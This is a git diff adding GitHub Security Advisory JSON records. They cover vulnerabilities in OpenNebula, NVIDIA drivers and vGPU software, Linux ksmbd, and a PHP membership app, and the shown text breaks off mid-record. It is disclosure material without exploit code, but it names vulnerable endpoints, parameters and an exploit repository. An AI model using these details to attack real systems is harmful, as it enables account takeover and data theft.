.../GHSA-f97g-94hp-59h9.json | 36 ++++++++++++
.../GHSA-fr49-r522-pmcp.json | 36 ++++++++++++
.../GHSA-gxcf-fvmv-78f7.json | 36 ++++++++++++
.../GHSA-h7cw-8w5m-2f29.json | 36 ++++++++++++
.../GHSA-mg2v-x7gv-c9jr.json | 56 +++++++++++++++++++
.../GHSA-mqv4-xc9c-8q9q.json | 36 ++++++++++++
.../GHSA-ppcc-852j-px73.json | 36 ++++++++++++
.../GHSA-q62g-686x-2rh3.json | 36 ++++++++++++
.../GHSA-qmwr-6rr6-wj8m.json | 36 ++++++++++++
.../GHSA-wrxq-9fmf-hq5j.json | 36 ++++++++++++
17 files changed, 684 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-236c-586c-7q48/GHSA-236c-586c-7q48.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-25cp-2qqr-6v8p/GHSA-25cp-2qqr-6v8p.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-2729-wmg7-hchx/GHSA-2729-wmg7-hchx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-3hjh-cjx8-8c83/GHSA-3hjh-cjx8-8c83.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-58v5-wj5r-7vmx/GHSA-58v5-wj5r-7vmx.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-6xf6-2p9f-2577/GHSA-6xf6-2p9f-2577.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-8vfh-pg44-pprg/GHSA-8vfh-pg44-pprg.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-f97g-94hp-59h9/GHSA-f97g-94hp-59h9.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-fr49-r522-pmcp/GHSA-fr49-r522-pmcp.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-gxcf-fvmv-78f7/GHSA-gxcf-fvmv-78f7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-h7cw-8w5m-2f29/GHSA-h7cw-8w5m-2f29.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mg2v-x7gv-c9jr/GHSA-mg2v-x7gv-c9jr.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mqv4-xc9c-8q9q/GHSA-mqv4-xc9c-8q9q.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-ppcc-852j-px73/GHSA-ppcc-852j-px73.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-q62g-686x-2rh3/GHSA-q62g-686x-2rh3.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-qmwr-6rr6-wj8m/GHSA-qmwr-6rr6-wj8m.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-wrxq-9fmf-hq5j/GHSA-wrxq-9fmf-hq5j.json
diff --git a/advisories/unreviewed/2025/08/GHSA-236c-586c-7q48/GHSA-236c-586c-7q48.json b/advisories/unreviewed/2025/08/GHSA-236c-586c-7q48/GHSA-236c-586c-7q48.json
new file mode 100644
index 0000000000000..aca2d3196cea7
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-236c-586c-7q48/GHSA-236c-586c-7q48.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-236c-586c-7q48",
+ "modified": "2025-08-03T00:30:25Z",
+ "published": "2025-08-03T00:30:25Z",
+ "aliases": [
+ "CVE-2025-54955"
+ ],
+ "details": "OpenNebula Community Edition (CE) before 7.0.0 and Enterprise Edition (EE) before 6.10.3 have a critical FireEdge race condition that can lead to full account takeover. By exploiting this, an unauthenticated attacker can obtain a valid JSON Web Token (JWT) belonging to a legitimate user without knowledge of their credentials.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54955"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/OpenNebula/one/commit/81058d9705e7ac619d294423de28b76d88f613b6"
+ },
+ {
+ "type": "WEB",
+ "url": "https://docs.opennebula.io/6.10/intro_release_notes/release_notes_enterprise/resolved_issues_6103.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/OpenNebula/one"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/OpenNebula/one/releases/tag/release-7.0.0"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/Stolichnayer/OpenNebula-Account-Takeover"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-362"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T00:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-25cp-2qqr-6v8p/GHSA-25cp-2qqr-6v8p.json b/advisories/unreviewed/2025/08/GHSA-25cp-2qqr-6v8p/GHSA-25cp-2qqr-6v8p.json
new file mode 100644
index 0000000000000..7e8d62e1d0b75
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-25cp-2qqr-6v8p/GHSA-25cp-2qqr-6v8p.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-25cp-2qqr-6v8p",
+ "modified": "2025-08-03T00:30:25Z",
+ "published": "2025-08-03T00:30:25Z",
+ "aliases": [
+ "CVE-2025-23290"
+ ],
+ "details": "NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager, where a guest could get global GPU metrics which may be influenced by work in other VMs. A successful exploit of this vulnerability might lead to information disclosure.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23290"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-200"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T23:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-2729-wmg7-hchx/GHSA-2729-wmg7-hchx.json b/advisories/unreviewed/2025/08/GHSA-2729-wmg7-hchx/GHSA-2729-wmg7-hchx.json
new file mode 100644
index 0000000000000..b823d784c8f9b
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-2729-wmg7-hchx/GHSA-2729-wmg7-hchx.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2729-wmg7-hchx",
+ "modified": "2025-08-03T00:30:24Z",
+ "published": "2025-08-03T00:30:24Z",
+ "aliases": [
+ "CVE-2025-23281"
+ ],
+ "details": "NVIDIA GPU Display Driver for Windows contains a vulnerability where an attacker with local unprivileged access that can win a race condition might be able to trigger a use-after-free error. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, denial of service, or information disclosure.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23281"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-416"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:44Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-3hjh-cjx8-8c83/GHSA-3hjh-cjx8-8c83.json b/advisories/unreviewed/2025/08/GHSA-3hjh-cjx8-8c83/GHSA-3hjh-cjx8-8c83.json
new file mode 100644
index 0000000000000..b227fa6bcf670
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-3hjh-cjx8-8c83/GHSA-3hjh-cjx8-8c83.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-3hjh-cjx8-8c83",
+ "modified": "2025-08-03T00:30:25Z",
+ "published": "2025-08-03T00:30:25Z",
+ "aliases": [
+ "CVE-2023-32255"
+ ],
+ "details": "A flaw was found in the Linux kernel's ksmbd component. A memory leak can occur if a client sends a session setup request with an unknown NTLMSSP message type, potentially leading to resource exhaustion.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32255"
+ },
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/security/cve/CVE-2023-32255"
+ },
+ {
+ "type": "WEB",
+ "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2385884"
+ },
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6d7cb549c2ca20e1f07593f15e936fd54b763028"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-703"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-772"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T23:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-58v5-wj5r-7vmx/GHSA-58v5-wj5r-7vmx.json b/advisories/unreviewed/2025/08/GHSA-58v5-wj5r-7vmx/GHSA-58v5-wj5r-7vmx.json
new file mode 100644
index 0000000000000..6d1a72f20a33d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-58v5-wj5r-7vmx/GHSA-58v5-wj5r-7vmx.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-58v5-wj5r-7vmx",
+ "modified": "2025-08-03T00:30:23Z",
+ "published": "2025-08-03T00:30:23Z",
+ "aliases": [
+ "CVE-2025-23278"
+ ],
+ "details": "NVIDIA Display Driver for Windows and Linux contains a vulnerability where an attacker might cause an improper index validation by issuing a call with crafted parameters. A successful exploit of this vulnerability might lead to data tampering or denial of service.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23278"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-129"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:44Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-6xf6-2p9f-2577/GHSA-6xf6-2p9f-2577.json b/advisories/unreviewed/2025/08/GHSA-6xf6-2p9f-2577/GHSA-6xf6-2p9f-2577.json
new file mode 100644
index 0000000000000..fb0ea92770740
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-6xf6-2p9f-2577/GHSA-6xf6-2p9f-2577.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-6xf6-2p9f-2577",
+ "modified": "2025-08-03T00:30:25Z",
+ "published": "2025-08-03T00:30:25Z",
+ "aliases": [
+ "CVE-2025-8493"
+ ],
+ "details": "A vulnerability classified as critical was found in code-projects Intern Membership Management System 1.0. This vulnerability affects unknown code of the file /admin/edit_student_query.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8493"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318592"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318592"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626716"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.yuque.com/gongzi-jsnek/xb2q3a/dpgm5r79h1o8mp1b?singleDoc"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T23:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-8vfh-pg44-pprg/GHSA-8vfh-pg44-pprg.json b/advisories/unreviewed/2025/08/GHSA-8vfh-pg44-pprg/GHSA-8vfh-pg44-pprg.json
new file mode 100644
index 0000000000000..39e9ebb29c6f5
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8vfh-pg44-pprg/GHSA-8vfh-pg44-pprg.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8vfh-pg44-pprg",
+ "modified": "2025-08-03T00:30:24Z",
+ "published": "2025-08-03T00:30:24Z",
+ "aliases": [
+ "CVE-2023-32253"
+ ],
+ "details": "A flaw was found in the Linux kernel's ksmbd component. A deadlock is triggered by sending multiple concurrent session setup requests, possibly leading to a denial of service.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32253"
+ },
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/security/cve/CVE-2023-32253"
+ },
+ {
+ "type": "WEB",
+ "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2385886"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-413"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T23:15:24Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-f97g-94hp-59h9/GHSA-f97g-94hp-59h9.json b/advisories/unreviewed/2025/08/GHSA-f97g-94hp-59h9/GHSA-f97g-94hp-59h9.json
new file mode 100644
index 0000000000000..42ab665e869a4
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-f97g-94hp-59h9/GHSA-f97g-94hp-59h9.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-f97g-94hp-59h9",
+ "modified": "2025-08-03T00:30:23Z",
+ "published": "2025-08-03T00:30:23Z",
+ "aliases": [
+ "CVE-2025-23276"
+ ],
+ "details": "NVIDIA Installer for Windows contains a vulnerability where an attacker may be able to escalate privileges. A successful exploit of this vulnerability may lead to escalation of privileges, denial of service, code execution, information disclosure and data tampering.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23276"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-552"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:44Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-fr49-r522-pmcp/GHSA-fr49-r522-pmcp.json b/advisories/unreviewed/2025/08/GHSA-fr49-r522-pmcp/GHSA-fr49-r522-pmcp.json
new file mode 100644
index 0000000000000..e0a42a9d07f3d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-fr49-r522-pmcp/GHSA-fr49-r522-pmcp.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-fr49-r522-pmcp",
+ "modified": "2025-08-03T00:30:25Z",
+ "published": "2025-08-03T00:30:25Z",
+ "aliases": [
+ "CVE-2025-23284"
+ ],
+ "details": "NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager, where a malicious guest could cause a stack buffer overflow. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, or data tampering.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23284"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T23:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-gxcf-fvmv-78f7/GHSA-gxcf-fvmv-78f7.json b/advisories/unreviewed/2025/08/GHSA-gxcf-fvmv-78f7/GHSA-gxcf-fvmv-78f7.json
new file mode 100644
index 0000000000000..7ca2c6c6d3bcf
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gxcf-fvmv-78f7/GHSA-gxcf-fvmv-78f7.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gxcf-fvmv-78f7",
+ "modified": "2025-08-03T00:30:24Z",
+ "published": "2025-08-03T00:30:24Z",
+ "aliases": [
+ "CVE-2025-23287"
+ ],
+ "details": "NVIDIA GPU Display Driver for Windows contains a vulnerability where an attacker may access sensitive system-level information. A successful exploit of this vulnerability may lead to Information disclosure.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23287"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-497"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:45Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-h7cw-8w5m-2f29/GHSA-h7cw-8w5m-2f29.json b/advisories/unreviewed/2025/08/GHSA-h7cw-8w5m-2f29/GHSA-h7cw-8w5m-2f29.json
new file mode 100644
index 0000000000000..c0fbaf862eb51
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-h7cw-8w5m-2f29/GHSA-h7cw-8w5m-2f29.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-h7cw-8w5m-2f29",
+ "modified": "2025-08-03T00:30:25Z",
+ "published": "2025-08-03T00:30:25Z",
+ "aliases": [
+ "CVE-2025-23285"
+ ],
+ "details": "NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager, where it allows a guest to access global resources. A successful exploit of this vulnerability might lead to denial of service.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23285"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-732"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T23:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mg2v-x7gv-c9jr/GHSA-mg2v-x7gv-c9jr.json b/advisories/unreviewed/2025/08/GHSA-mg2v-x7gv-c9jr/GHSA-mg2v-x7gv-c9jr.json
new file mode 100644
index 0000000000000..fb4d236e66d72
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mg2v-x7gv-c9jr/GHSA-mg2v-x7gv-c9jr.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mg2v-x7gv-c9jr",
+ "modified": "2025-08-03T00:30:25Z",
+ "published": "2025-08-03T00:30:25Z",
+ "aliases": [
+ "CVE-2025-8494"
+ ],
+ "details": "A vulnerability, which was classified as critical, has been found in code-projects Intern Membership Management System 1.0. This issue affects some unknown processing of the file /admin/delete_student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8494"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318593"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318593"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.626721"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.yuque.com/gongzi-jsnek/xb2q3a/ckkctkqfirwk2bsd?singleDoc#"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T00:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mqv4-xc9c-8q9q/GHSA-mqv4-xc9c-8q9q.json b/advisories/unreviewed/2025/08/GHSA-mqv4-xc9c-8q9q/GHSA-mqv4-xc9c-8q9q.json
new file mode 100644
index 0000000000000..9260d72ca90b0
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mqv4-xc9c-8q9q/GHSA-mqv4-xc9c-8q9q.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mqv4-xc9c-8q9q",
+ "modified": "2025-08-03T00:30:24Z",
+ "published": "2025-08-03T00:30:24Z",
+ "aliases": [
+ "CVE-2025-23288"
+ ],
+ "details": "NVIDIA GPU Display Driver for Windows contains a vulnerability where an attacker may cause an exposure of sensitive system information with local unprivileged system access. A successful exploit of this vulnerability may lead to Information disclosure.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23288"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-497"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:45Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-ppcc-852j-px73/GHSA-ppcc-852j-px73.json b/advisories/unreviewed/2025/08/GHSA-ppcc-852j-px73/GHSA-ppcc-852j-px73.json
new file mode 100644
index 0000000000000..70a8700c8dd55
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-ppcc-852j-px73/GHSA-ppcc-852j-px73.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-ppcc-852j-px73",
+ "modified": "2025-08-03T00:30:23Z",
+ "published": "2025-08-03T00:30:23Z",
+ "aliases": [
+ "CVE-2025-23279"
+ ],
+ "details": "NVIDIA .run Installer for Linux and Solaris contains a vulnerability where an attacker could use a race condition to escalate privileges. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, denial of service, or data tampering.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23279"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-367"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:44Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-q62g-686x-2rh3/GHSA-q62g-686x-2rh3.json b/advisories/unreviewed/2025/08/GHSA-q62g-686x-2rh3/GHSA-q62g-686x-2rh3.json
new file mode 100644
index 0000000000000..4dbb1a4a7286f
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-q62g-686x-2rh3/GHSA-q62g-686x-2rh3.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q62g-686x-2rh3",
+ "modified": "2025-08-03T00:30:24Z",
+ "published": "2025-08-03T00:30:24Z",
+ "aliases": [
+ "CVE-2025-23283"
+ ],
+ "details": "NVIDIA vGPU software for Linux-style hypervisors contains a vulnerability in the Virtual GPU Manager, where a malicious guest could cause stack buffer overflow. A successful exploit of this vulnerability might lead to code execution, denial of service, escalation of privileges, information disclosure, or data tampering.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23283"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-02T22:15:45Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-qmwr-6rr6-wj8m/GHSA-qmwr-6rr6-wj8m.json b/advisories/unreviewed/2025/08/GHSA-qmwr-6rr6-wj8m/GHSA-qmwr-6rr6-wj8m.json
new file mode 100644
index 0000000000000..17c8a4358199d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-qmwr-6rr6-wj8m/GHSA-qmwr-6rr6-wj8m.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-qmwr-6rr6-wj8m",
+ "modified": "2025-08-03T00:30:24Z",
+ "published": "2025-08-03T00:30:24Z",
+ "aliases": [
+ "CVE-2025-23286"
+ ],
+ "details": "NVIDIA GPU Display Driver for Windows and Linux contains a vulnerability where an attacker could read invalid memory. A successful exploit of this vulnerability might lead to information disclosure.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23286"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
+ }
+ ],
